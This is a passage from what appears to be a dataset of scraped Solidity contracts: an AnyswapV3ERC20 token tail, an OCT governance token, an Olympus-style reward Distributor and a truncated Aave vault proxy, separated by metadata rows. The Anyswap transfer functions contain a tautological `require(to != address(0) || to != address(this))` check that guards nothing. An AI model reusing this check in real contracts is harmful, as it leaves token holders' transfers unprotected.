balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 35,033 | 12,278 |
63402e1058acb7765fa386a26f9e9c345d34a535ed7ffa6e889d774efead633c
| 36,616 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/0008557B1D87a622ec73A2ae1969548CF6810f79.sol
| 4,594 | 18,030 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
// ChannelToken with Governance.
contract ChannelToken is ERC20("OpenChannelToken", "OCT"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Burn some channel, reduce total circulation.
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "OCT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "OCT::delegateBySig: invalid nonce");
require(now <= expiry, "OCT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "OCT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying OCTs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "OCT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 343,790 | 12,279 |
7de3b78c3547e12fdb8cb47c4917f6d5118c2284f2ebe7548b3c42c6522b6f91
| 18,067 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b5/b565E4e9390720b0f6540e81C64d954632cC1235_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 105,404 | 12,280 |
c76363ee6f6da07099a5e56441f962f7de6cfcead93dc6f9b18b95701b02ffb8
| 18,906 |
.sol
|
Solidity
| false |
281870469
|
yearn/audit
|
e3d76c568dad06d27c71d596e529f4764a36cb76
|
contracts/wip/AaveCollateralVaultProxy.sol
| 4,669 | 18,754 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ReentrancyGuard {
uint private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint localCounter = _guardCounter;
_;
